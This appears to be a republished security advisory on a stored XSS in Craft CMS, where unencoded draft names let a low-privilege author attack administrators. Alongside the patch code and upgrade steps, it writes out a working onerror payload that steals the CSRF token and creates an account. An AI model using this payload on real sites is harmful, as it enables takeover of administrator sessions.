Listen to this Post
The control‑panel helper that renders element chip/card labels writes an element’s `draftName` into the page without HTML‑encoding it, while the surrounding path segments are encoded. A low‑privilege control‑panel user who can create a draft of an element (for example, an entry) controls the draft name, so they can store an XSS payload that executes in the browser of any other control‑panel user who is shown that element’s chip or card (element indexes with drafts visible, relation and element‑selection fields that reference the element, and the drafts list). This allows a low‑privilege author to run JavaScript in an administrator’s authenticated session and take over the control panel. It is the same output‑encoding class as the recently fixed GHSA‑xrqc‑p465‑2xvg (Structure entry ) and GHSA‑3x4w‑mxpf‑fhqq (revision context menu), which encoded other user‑controlled s but not the draft name.
Prerequisites:
- A control‑panel account with permission to edit entries in at least one section and create drafts.
- A higher‑privileged user (for example, an administrator) who is later shown the draft’s chip or card (an element index with drafts visible, or a relation/element‑selection field referencing the element).
Limitations:
- Requires the victim to be shown the affected element’s chip/card in the control panel (normal day‑to‑day activity; element indexes and relation fields are routine).
- The payload runs in the control‑panel origin in the victim’s session.
Impact:
A low‑privilege author can run arbitrary JavaScript in the session of any higher‑privileged control‑panel user who is shown the element’s chip or card, including administrators. This is a cross‑privilege stored XSS, not a self‑XSS: the attacker and the victim are different users, and the payload fires during routine browsing of element indexes and relation fields. Because the script runs in the victim’s control‑panel origin, it can read the CSRF token that Craft embeds in the page JavaScript (Craft.csrfTokenValue, confirmed present on control‑panel pages) and issue authenticated control‑panel actions as the victim. This was verified end‑to‑end on Craft Pro: an in‑session request to the `users/save‑user` action created a brand new account (User saved., HTTP 200), an admin‑only capability that an author can never perform directly.
DailyCVE Form:
Platform: Craft CMS
Version: < 5.10.8
Vulnerability: Stored XSS (draftName)
Severity: Moderate
date: 2026‑07‑25
Prediction: Patched in 5.10.8 (2026‑06‑23)
What Undercode Say:
Analytics:
- CVSS v3.1 Base Score: 5.4 (Moderate) – AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- EPSS Score: < 1% (low probability of exploitation)
- Affected versions: 5.0.0‑RC1 through 5.10.7
- Fixed version: 5.10.8
- CWE: CWE‑79 (Improper Neutralization of Input During Web Page Generation)
Bash commands and codes:
Check current Craft CMS version composer show craftcms/cms | grep versions Update to the patched version composer require craftcms/cms:^5.10.8 Verify the update composer show craftcms/cms | grep versions
Sample vulnerable code snippet (before fix):
$content .= Html::tag('span', $element->draftName ?: Craft::t('app', 'Draft'), [
'class' => 'context-label',
]);
Patched code (after fix):
$content .= Html::tag(
'span',
$element->draftName ? Html::encode($element->draftName) : Craft::t('app', 'Draft'),
['class' => 'context-label'],
);
Exploit:
- As a low‑privilege author, create a new entry draft.
- Set the draft name to a malicious payload, e.g.:
<img src=x onerror="fetch('/admin/actions/users/save-user', {method:'POST', headers:{'X-CSRF-Token': Craft.csrfTokenValue}, body: new URLSearchParams({username:'attacker', email:'[email protected]', password:'password123'})})"> - Wait for an administrator to view any element index, relation field, or drafts list that displays the draft’s chip/card.
- The payload executes in the administrator’s session, reading the CSRF token and issuing authenticated requests.
- The attacker can then create new admin accounts, modify content, or exfiltrate data.
Protection:
- Upgrade to Craft CMS 5.10.8 or later immediately.
- Implement a Content Security Policy (CSP) that restricts inline script execution and limits the impact of any stored XSS.
- Deploy a Web Application Firewall (WAF) with rules to filter common XSS payloads in control‑panel requests.
- Audit existing drafts for any suspicious draft names that may contain script tags or event handlers.
- Enforce principle of least privilege – restrict draft creation permissions to only trusted users.
Impact:
- Confidentiality: An attacker can read sensitive information from the control‑panel pages, including CSRF tokens, user data, and configuration details.
- Integrity: The attacker can perform any action the victim administrator can, such as creating new admin accounts, modifying entries, changing settings, or deploying malicious plugins.
- Availability: The attacker could disrupt the site by deleting content, changing critical configurations, or locking out legitimate administrators.
- Privilege Escalation: A low‑privilege author can escalate to full administrative control over the Craft CMS instance, bypassing all access controls.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
